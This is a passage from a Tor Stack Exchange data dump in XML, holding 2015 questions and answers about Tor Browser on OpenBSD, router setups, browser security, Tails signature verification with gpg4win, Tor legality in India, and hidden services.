  <row Id="7344" PostTypeId="2" ParentId="7340" CreationDate="2015-07-31T08:45:51.543" Score="1" Body="&lt;p&gt;I do not have a specific answer, there seems to be several issues, there is however a project website that's trying to change this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://torbsd.github.io/&quot; rel=&quot;nofollow&quot;&gt;https://torbsd.github.io/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Tor BSD Diversity Project (TDP) is an initiative seeking to extend&#xA;  the use of the BSD Unix operating systems in the Tor public anonymity&#xA;  network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They have a repo for a tbb ports package:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/torbsd/openbsd-ports&quot; rel=&quot;nofollow&quot;&gt;https://github.com/torbsd/openbsd-ports&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They do also state in their faq:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;“Doesn’t the Tor web site download page list a Tor Browser Bundle for&#xA;  GNU/Linux, that also supports ‘Unix, BSD’?”&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&quot;That is true, but unfortunately inaccurate. The current Tor download&#xA;  does not work on any of the BSDs for a variety of reasons.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-07-31T08:45:51.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7345" PostTypeId="1" CreationDate="2015-07-31T10:45:09.227" Score="1" ViewCount="109" Body="&lt;p&gt;I have a two router setup at home. The master router handles the incoming DSL connection and DHCP settings, and the second router is used as a wireless extender. My desktop also connects via the second router by means of a LAN cable. DHCP is switched off on the second router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will using TOR via the second router though the master compromise on anonymity? Is there anything else I should consider doing with the set up in order to make browsing more secure?&lt;/p&gt;&#xA;" OwnerUserId="7993" LastActivityDate="2016-05-27T21:04:01.663" Title="Tor'ing through dual router network" Tags="|configuration|network-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7346" PostTypeId="1" CreationDate="2015-07-31T11:57:04.220" Score="1" ViewCount="437" Body="&lt;p&gt;I'm running Tail latest version on a persistent usb, everything worked well last night. But today the clock is not syncing and no message for &quot;tor is ready&quot; appears... no access to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a different stick on the same notebook = same problem.#&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check on a different computer the internet connection and TOR connect = everything is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how can get the usb sticks to start tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frank&lt;/p&gt;&#xA;" OwnerUserId="7994" LastActivityDate="2015-07-31T11:57:04.220" Title="Tor Tails on persistent volume usb: Tor not starting" Tags="|tails|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7347" PostTypeId="1" CreationDate="2015-07-31T13:16:49.343" Score="3" ViewCount="1237" Body="&lt;p&gt;I'm a bit confused about why using Tor with regular Chrome or FF is considered insecure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I use it with Chrome. I install the &quot;Expert Bundle&quot;, then the proxy-switchy Chrome extension and set up a Tor profile (Host: 127.0.0.1:9050, Socks 4). And disable the Flash player from &lt;code&gt;chrome://plugins&lt;/code&gt; because Flash ignores the proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can it be said that at this point Chrome is just as secure as the Tor Browser, assuming I always use incognito mode? If not, can anyone please explain how is the browsing any different compared to that on a Tor Browser (what else makes it insecure besides Flash and cookies)?&lt;/p&gt;&#xA;" OwnerUserId="7995" LastEditorUserId="7995" LastEditDate="2015-07-31T13:22:28.277" LastActivityDate="2017-06-12T15:13:47.830" Title="Security of other browsers + Tor vs. Tor browser" Tags="|tor-browser-bundle|chrome|proxy|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7348" PostTypeId="1" CreationDate="2015-07-31T21:40:07.170" Score="1" ViewCount="113" Body="&lt;p&gt;I don't quite understand this. If you didn't want to have the NSA or whatever spying on you why not just use a VPN? I use PIA and  get a 2mbps speed. Why don't people use something like that instead? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot imagine what people need tor for unless they are doing &lt;strong&gt;illegal&lt;/strong&gt; means. I mean sure it is much better then a VPN but is it REALLY worth a 10KBPS speed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and on another note, does anyone know average speed of it? It took me about 5 minutes to load one photo so I don't think my 10kbps is far off.&lt;/p&gt;&#xA;" OwnerUserId="7998" LastActivityDate="2015-08-01T12:05:22.360" Title="Why do people need to be SO anonymous online... for LEGAL reasons?" Tags="|help|" AnswerCount="4" CommentCount="2" ClosedDate="2015-08-01T11:58:47.887" ContentLicense="CC BY-SA 3.0" />
  <row Id="7349" PostTypeId="2" ParentId="7348" CreationDate="2015-07-31T22:56:41.437" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;Just being a cypherpunk&lt;/li&gt;&#xA;&lt;li&gt;Access region-restricted material via different exit nodes&lt;/li&gt;&#xA;&lt;li&gt;Hidden services&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I run 4 exits (pay out of my pocket) BTW. However, I think that Tor&#xA;needs a huge redesign in its ideology/infrastructure, closer to BitTorrent&#xA;with more P2P functions, IPv6, scalability, and resilience.&lt;/p&gt;&#xA;" OwnerUserId="7999" LastEditorUserId="5445" LastEditDate="2015-08-01T12:05:22.360" LastActivityDate="2015-08-01T12:05:22.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7350" PostTypeId="2" ParentId="7348" CreationDate="2015-07-31T23:25:38.720" Score="1" Body="&lt;p&gt;My speed varies, although I've never quite gone down to 10kbps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my opinion, to understand the legal uses of anonymity online you need to re-define your outlook on 'legal'. In some countries what you would consider basic rights are considered illegal. in today's age a great deal of information about the outside world can be obtained online. Imagine how different Hitler's rise would have been if the German people had access to a completely anonymous way to gain information from multiple sources without fear of the SS (my history might be a bit off there, but you get the idea)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Outside of that, you also have military uses. While you may not be overly bothered if your next door neighbor knows your looking at cat pictures, in a military/political situation information is vitally important. Going back to history here, you could compare Tor in the military (although I'm not sure if they actually use tor itself) to the German enigma machine used in WW2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Past those more serious issues, you still have the issue of basic privacy. I personally don't like the idea of my government/neighbor peering in on what I'm doing online, especially when I'm doing something which while legal, might not be morally correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anonymity gives people the ability to say what they think, without fear of IRL backlash. My opinions on certain subjects are not always what my peers believe them to be, and anonymity gives me the security to express my thoughts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Anonymity is the key to true free speech.&lt;/p&gt;&#xA;" OwnerUserId="8000" LastActivityDate="2015-07-31T23:25:38.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7351" PostTypeId="2" ParentId="7348" CreationDate="2015-08-01T02:01:47.020" Score="0" Body="&lt;p&gt;It's not all about NSA/GCHQ.  The spooks get all the headlines, but there is a vast commercial industry devoted to tracking your every move, for their own profit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's how Target knows your daughter is pregnant before you do, how that website knows you shop at Whole Foods.  Your IP address can be correlated with your identity, which is correlated (via freely-available government tax records) of the address and value of your house, which suggests your income, which makes you a (un)desirable advertising target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contra those I-have-nothing-to-hide types, we &lt;em&gt;all&lt;/em&gt; have plenty to hide.  I don't want to live in a fishbowl, and I use Tor to frustrate those entities that want just that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, and about your VPN?  That's putting all your eggs in one basket. When your vendor gets hacked your identity (credit card) and IP address of origin will be linked and potentially everything you've done via VPN will be exposed for all to see.  Don't tell me your vendor's business records won't get p0wned.  If the last few years have taught us anything, it is that &lt;em&gt;no&lt;/em&gt; entity, be it governmental, commercial, or residential is safe from a determined team of hackers.&lt;/p&gt;&#xA;" OwnerUserId="8001" LastActivityDate="2015-08-01T02:01:47.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7352" PostTypeId="2" ParentId="7348" CreationDate="2015-08-01T02:42:47.537" Score="0" Body="&lt;p&gt;It's not just the NSA that does intelligence gathering on individuals. The entire web does this all so. For an example Google tracks literally every thing about you to try and improve their business. This includes the people you know and who you don't know. Where you work. Who your dating. If your getting married or might be. What your hobbies are. What your phone and email are. They all so scan all your emails like almost all of them do and report to the FBI and such. Literally every thing about you that is posted online and that you look at is being tracked by some thing analytical or intelligence gathering for tons of different reasons. Some people just don't want any one knowing a lot of this information because literally it isn't the government or Googles business if your planning on getting married or having a baby or the last 1,000s of pages looked at people talked to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People don't just choose anon services because they do illegal thinks but rather because privacy doesn't exist in our lives any more and people enjoy privacy from government and business entities. When you can log on facebook and track this persons entire life it's not really a good thing. Some employers even check facebook and other sites to make hiring choices and see what kind of person you are. Not to mention that you can type your name and age and city in a search engine to find yourself in a public database pulling up a listing of the last 10 plus places you lived phone numbers family and people you know. Your and their aliases, criminal history, marriage and divorce records and just tons and tons of other very very very personal crap that is very private and sensitive information. You don't tell every one you meet all your addresses, friends, and relatives. Why should we be able to find this online for free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To figure out how fast your speed is your going to have to figure out how many proxy sites and such your running your connection through and take them in to consideration all so.&lt;/p&gt;&#xA;" OwnerUserId="8002" LastActivityDate="2015-08-01T02:42:47.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7353" PostTypeId="1" CreationDate="2015-08-01T04:15:58.450" Score="9" ViewCount="35280" Body="&lt;p&gt;Does running Tor on Windows 10 compromise my security? And further from that, are there any issues I need to be aware of while using Tor on Windows 10? &lt;/p&gt;&#xA;" OwnerUserId="3495" LastEditorUserId="8000" LastEditDate="2015-08-01T18:13:44.943" LastActivityDate="2016-08-24T12:54:23.320" Title="Does windows 10 compromise TOR?" Tags="|anonymity|windows|deanonymization|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="7355" PostTypeId="2" ParentId="7345" CreationDate="2015-08-01T15:20:05.890" Score="1" Body="&lt;p&gt;Nothing wrong with that setup. It's encrypted before it hits your first router on the way out, and not decrypted until it reaches your computer on the way back in. Through your routers its just encrypted data streams.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-08-01T15:20:05.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7356" PostTypeId="2" ParentId="4551" CreationDate="2015-08-01T16:33:51.437" Score="3" Body="&lt;p&gt;With the latest version that I've just downloaded. Used the below in the terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xrandr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will bring a bunch of resolutions, choose the best one for you and type the following in the terminal: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xrandr -s enterChosenResolution&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xrandr -s 1280x1024&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps :) &lt;/p&gt;&#xA;" OwnerUserId="8006" LastActivityDate="2015-08-01T16:33:51.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7358" PostTypeId="1" AcceptedAnswerId="7359" CreationDate="2015-08-01T22:34:02.393" Score="1" ViewCount="3660" Body="&lt;p&gt;After I downloaded the Tails ISO I downloaded gpg4win. I did a quick virus scan of the gpg4win file and my Comodo antivirus said it was a &quot;TrojWare.Win32.Kryptik.AGMN@284730160&quot;! So I had to spend a long time figuring out if it was a false positive or not. At the gpg4win forum there were some vague mentioning about malware warnings and false positives all the way back in 2014, which means nothing has been done to fix this yet!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I eventually found a way to upload the &lt;code&gt;gpg4win-2.2.5.exe&lt;/code&gt; to the Comodo cloud for analysis, which gave a report with a bunch of numbers and stuff and a statement about something &quot;undetected&quot;, supposedly that no malware was detected, though it didn't explicitly say that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No mentioning about gpg4win and trojan neither at the Comodo forum nor anywhere else. Very strange. Maybe I'm one of the very few who bothers to check files for malware after download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I decided to take the risk and install gpg4win and hope for the best. So after I had installed that I followed the instructions located here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/download/index.en.html#verify&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/download/index.en.html#verify&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;..those that are shown after one clicks the link that says &quot;Using other operating systems&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link that says &quot;Consult the Gpg4win documentation to import it&quot; doesn't link to anything about importing a key specifically. It only talks about importing certificates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct procedure here must be to simply right-click on the &quot;tails-signing.key&quot; and select &quot;Import keys&quot;, which appears to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next step is to verify the signature, but following the instructions don't seem to work properly. There is nothing that says &quot;Decrypt and check&quot; anywhere. The closest thing to choose is &quot;Decrypt and verify&quot; but this function will report the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;tails-i386-1.4.1.iso.sig: Not enough information to check signature validity.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Signed on 2015-06-29 11:07 with unknown certificate 0xA5091F72C746BA6B163D1C183C83DCB52F699C56.&#xA;  The validity of the signature cannot be verified.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Either it means the signature is wrong or the verification doesn't work or the instructions how to do it is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My impression of this is that this is only for Tor experts and it's software makers to mess with, because it's way too complicated for normal people, which means people don't stand a chance against NSA. Humanity is damned! &gt;:-|&lt;/p&gt;&#xA;" OwnerUserId="8009" LastEditorUserId="88" LastEditDate="2015-08-01T23:15:17.620" LastActivityDate="2015-08-02T05:16:48.230" Title="gpg4win and Tails signature problem" Tags="|tails|verification|troubleshooting|" AnswerCount="1" CommentCount="3" ClosedDate="2015-08-02T07:01:13.617" ContentLicense="CC BY-SA 3.0" />
  <row Id="7359" PostTypeId="2" ParentId="7358" CreationDate="2015-08-02T04:13:50.660" Score="0" Body="&lt;p&gt;I will focus this answer on verifying Tails using gpg4win because my understanding is that that is where you are having the most trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is the possibility here that you were the victim of a man is the middle attack or that the tails iso or gpg4win installer was corrupted during the download, but you may just not have verified the iso properly. You should first ensure that the gpg4win installer you downloaded is intact and as the gpg4win developers intended it to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by verifying the sha1 cryptographic checksum or if you have a working copy of gpg on a different operating system (linux most always comes with this already installed) or an older and already verified version of gpg4win you can do this with the gpg signature from their website and the key they give you which can be downloaded from most of the usual keyservers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you are happy with your gpg4win installer you can try to veryfy the tails iso again. Finding instructions for someone who is not familiar with gpg may itself be a little challenging so here are some simple, copy and paste instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some editing is still required but I will point out out where it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open a Command Prompt window (cmd)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st recieve the key from a keyserver:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;C:\Program Files (x86)\Gnu\GnuPg\gpg2&quot; --keyserver pgp.mit.edu --recv-keys 58ACD84F&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMPORTANT EDIT: The above command will request a key from pgp.mit.edu however it will most likely send the request for the key over the normal internet and not through a tor circuit. This means the key request will not be anonymous! If you are in a country where tor is illegal or where others knowing that you use tor would put you in danger, DO NOT use this command. Find another way to import the key through tor. It should be possible to download the key and import it, follow these instructions from the link on the tails website &lt;a href=&quot;http://www.gpg4win.org/doc/en/gpg4win-compendium_15.html&quot; rel=&quot;nofollow&quot;&gt;http://www.gpg4win.org/doc/en/gpg4win-compendium_15.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using a 64bit OS these instructions should work as long as you installed gpg4win with the default values. if you are using a 32bit OS then remove the (x86) i.e. &quot;C:\Program Files\Gnu................the rest is the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2nd Check the fingerprint with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;C:\Program Files (x86)\Gnu\GnuPg\gpg2&quot; --fingerprint 58ACD84F&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again the same change needed for 32 bit OS. The result of this command should be a fingerprint the main fingerprint should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;A490 D0F4 D311 A415 3E2B  B7CA DBB8 02B2 58AC D84F&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3rd now you have the correct key imported, it is time to verify the iso. Make sure you have both the iso and the signature file downloaded to the same place. For these instructions I will assume you saved both files to your desktop, and that your name is Alice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your pc username is not Alice, replace the two uses of Alice in the following command to whatever your actual username is. If you don't save the files to your desktop the full path to the directory you did save the files to must be given instead of the full path to the desktop. Also the usual change needs to be made if you are using a 32bit OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;C:\Program Files (x86)\Gnu\GnuPg\gpg2&quot; --verify C:\Users\Alice\Desktop\tails-i386-1.4.1.iso.sig C:\Users\Alice\Desktop\tails-i386-1.4.1.iso&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This last one takes a minute to run. You should see Good signature. If you do, you are done and can burn the iso onto your chosen media.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested these instructions with my very well verified version of gpg4win 2.2.4 but they should work with the new version too.&lt;/p&gt;&#xA;" OwnerUserId="7883" LastEditorUserId="7883" LastEditDate="2015-08-02T05:16:48.230" LastActivityDate="2015-08-02T05:16:48.230" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7360" PostTypeId="1" AcceptedAnswerId="7373" CreationDate="2015-08-02T07:08:33.580" Score="2" ViewCount="371" Body="&lt;p&gt;Is the code of the Tor directory servers open sourced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If i would like to run my own for the purpose of experimenting, what is the easiest way to do it?&lt;/p&gt;&#xA;" OwnerUserId="6744" LastActivityDate="2016-04-06T07:45:32.363" Title="implementation for Tor directory server?" Tags="|directory|source-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7364" PostTypeId="1" CreationDate="2015-08-02T14:24:23.233" Score="2" ViewCount="993" Body="&lt;p&gt;After I verified the key for the Tor Browser I got this error message (translated from Swedish):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg: WARNING: This key is not certified with a reliable signature!&#xA;&#xA;gpg:           There is nothing that indicates that the signature belongs to the owner.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the keys displayed in &lt;code&gt;cmd&lt;/code&gt; are correct&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Primary key fingerprint: EF6E 286D DA85 EA2A 4BA7  DE68 4E2C 6E87 9329 8290&#xA;&#xA;Underkey fingerprint: BA1E E421 BBB4 5263 180E  1FC7 2E1A C68E D408 14E0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What should I make of that?&lt;/p&gt;&#xA;" OwnerUserId="8009" LastEditorUserId="5445" LastEditDate="2015-08-04T20:03:02.913" LastActivityDate="2015-10-03T22:02:58.323" Title="Tor Browser key problem" Tags="|tor-browser-bundle|verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7365" PostTypeId="1" AcceptedAnswerId="7369" CreationDate="2015-08-02T14:24:23.777" Score="3" ViewCount="5621" Body="&lt;p&gt;Though I most often do not require reason to use Tor, I do sometimes out of curiosity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is, is there any legal statute in India that can land me into legal hassles because of using Tor, even when I'm doing perfectly legal activities, like browsing, texting, checking emails, and so on.&lt;/p&gt;&#xA;" OwnerUserId="8012" LastActivityDate="2015-08-02T18:52:12.777" Title="Is using Tor illegal in India?" Tags="|legal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7367" PostTypeId="1" CreationDate="2015-08-02T18:26:38.583" Score="0" ViewCount="593" Body="&lt;p&gt;I refer to my earlier post titled &lt;a href=&quot;https://tor.stackexchange.com/questions/7340/tor-browser-bundle-does-not-work-on-openbsd?noredirect=1#comment7043_7340&quot;&gt;Tor Browser Bundle does not work on OpenBSD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the Tor Browser Bundle (TBB) available for download on Tor's official site does not work out of the box on *BSD operating systems such as OpenBSD, could someone show me the detailed steps for compiling and installing (?) TBB using the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I believe TBB is not meant to be installed, right?&lt;/p&gt;&#xA;" OwnerUserId="3509" LastActivityDate="2015-08-02T19:12:09.303" Title="Compile and install (?) Tor Browser Bundle using source code on OpenBSD" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7368" PostTypeId="2" ParentId="7364" CreationDate="2015-08-02T18:40:27.667" Score="1" Body="&lt;p&gt;It means that you never signed the key that was used to sign the Tor Browser Bundle. You should only sign keys of people that you have verified the identity of (usually by looking at the person's government issued ID when meeting the person in &quot;real life&quot;, though people have their own criteria for identification).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message is warning you that you should make sure the key actually belongs to the person you think it does (in this case, the Tor Browser Developers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you got the message about the signature being good and if the key fingerprint matches the key fingerprint you expected, that is good. You still have to consider how you obtained the expected fingerprint. Ideally you would meet the person who owns the key in person and verify that the fingerprint is actually their's. It isn't always possible to travel to meet people in person. There is something called the web of trust. The idea is that if you meet me and verify my key and if I meet the Tor Browser Developers and verify their key, then if you trust me, you can trust that the Tor Browser Developers' key is actually their key, based on my having signed their key. This concept can be extended so that there are more people between you and the Tor Browser Developers. The more people you trust that have all verified the key of the Tor Browser Developers, the better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said all that, it may be enough for you to just verify the keys off of the Tor Project website. I don't know exactly what you are doing and what kinds of threats you want to protect against.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you haven't checked it out already, &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot; rel=&quot;nofollow&quot;&gt;there is a page on the Tor Project website about this&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8018" LastActivityDate="2015-08-02T18:40:27.667" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7369" PostTypeId="2" ParentId="7365" CreationDate="2015-08-02T18:52:12.777" Score="4" Body="&lt;p&gt;I think the broader question concerns encryption in India in general, rather than Tor specifically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at similar questions on other SE boards, the short answer seems to be: &quot;&lt;em&gt;it's not illegal to use encryption technologies, but if you're asked to decrypt your own data, and you refuse, you could get into trouble&lt;/em&gt;&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following threads help flesh out the detail:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/12281/encryption-laws-in-india-is-it-allowed-to-use-ssh-and-vpn&quot;&gt;https://security.stackexchange.com/questions/12281/encryption-laws-in-india-is-it-allowed-to-use-ssh-and-vpn&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/92389/encryption-laws-in-india&quot;&gt;https://security.stackexchange.com/questions/92389/encryption-laws-in-india&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For reference, this site might also be useful: &lt;a href=&quot;http://www.cryptolaw.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.cryptolaw.org/&lt;/a&gt;&lt;br&gt;&#xA;There's a specific entry for India, &lt;a href=&quot;http://www.cryptolaw.org/cls2.htm#in&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The assumption in the above is, of course, that Tor and other anonymization software fall into the same category as regular encryption technologies.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-03-17T13:14:45.153" LastActivityDate="2015-08-02T18:52:12.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7370" PostTypeId="2" ParentId="7367" CreationDate="2015-08-02T19:12:09.303" Score="1" Body="&lt;p&gt;For the bog-standard, non-*BSD TBB source code, have a look at the links on &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html#feedback&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; page, under &quot;How can I make my own bundle?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see the accompanying &quot;Building with Gitian&quot; &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/BuildingWithGitian&quot; rel=&quot;nofollow&quot;&gt;wiki page&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the *BSD-related changes, it might be best to start by navigating through the &lt;a href=&quot;https://torbsd.github.io/faq.html&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt; of project involved in the port&#xA;(or &lt;a href=&quot;https://github.com/torbsd/openbsd-ports&quot; rel=&quot;nofollow&quot;&gt;their GitHub repository&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-08-02T19:12:09.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7371" PostTypeId="1" CreationDate="2015-08-02T19:13:19.530" Score="4" ViewCount="2261" Body="&lt;p&gt;Is there a way to resolve Dynamic DNS with Tor so that I can connect to my computer who is behind a NAT ? Do I have to enable the &quot;no-ip&quot; service on my router or do I have to make a port forward ?&lt;/p&gt;&#xA;" OwnerUserId="8020" LastActivityDate="2016-01-07T07:29:53.977" Title="No-ip alongside Tor" Tags="|dns|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7372" PostTypeId="2" ParentId="7371" CreationDate="2015-08-02T20:12:37.263" Score="0" Body="&lt;p&gt;You can't forward ports over Tor. The reason is when you are creating a circuit, you choose an exit node that matches a specific policy such as allowing HTTP and HTTPS outbound. You do not &quot;open&quot; a port to allow something to remotely access your system. This will never work and it's by design. The only option would be to use a NAT traversal technology such as STUN but this throws out your attempts to be anonymous. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-08-02T20:12:37.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7373" PostTypeId="2" ParentId="7360" CreationDate="2015-08-02T20:24:13.563" Score="3" Body="&lt;p&gt;To be a directory server, it is merely a configuration change in your TORRC. Anyone can be or advertise that you are a directory server but none of the clients would trust it. The source code for Tor is available here: &lt;a href=&quot;https://gitweb.torproject.org/tor.git/&quot; rel=&quot;nofollow&quot;&gt;https://gitweb.torproject.org/tor.git/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2015-08-02T20:24:13.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7375" PostTypeId="1" CreationDate="2015-08-03T07:26:03.857" Score="1" ViewCount="349" Body="&lt;p&gt;Take a look, what is the difference between Tor-Browser in onion encrypted traffic and Apache service responses in onion encrypted traffic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor-Browser: sent 1% / receive 99%. &#xA;It is simply, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Request: &quot;connect to google.com, Get /&quot; = 1kb&lt;/li&gt;&#xA;&lt;li&gt;Response: &quot;!doctype html html itemscope=&quot;... blablabla&quot; = 16kb&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Apache as Hidden Service: sent 99% / receive 1%. Vice-verse Picture!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my hidden service hidden against simple attack Weighting-Request/Response?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of humans suggest me to use client mode for hidden-service and do not touch Relay for such task. Is it still true?&lt;/p&gt;&#xA;" OwnerUserId="8021" LastActivityDate="2021-12-21T17:05:40.543" Title="Hidden Service as client or 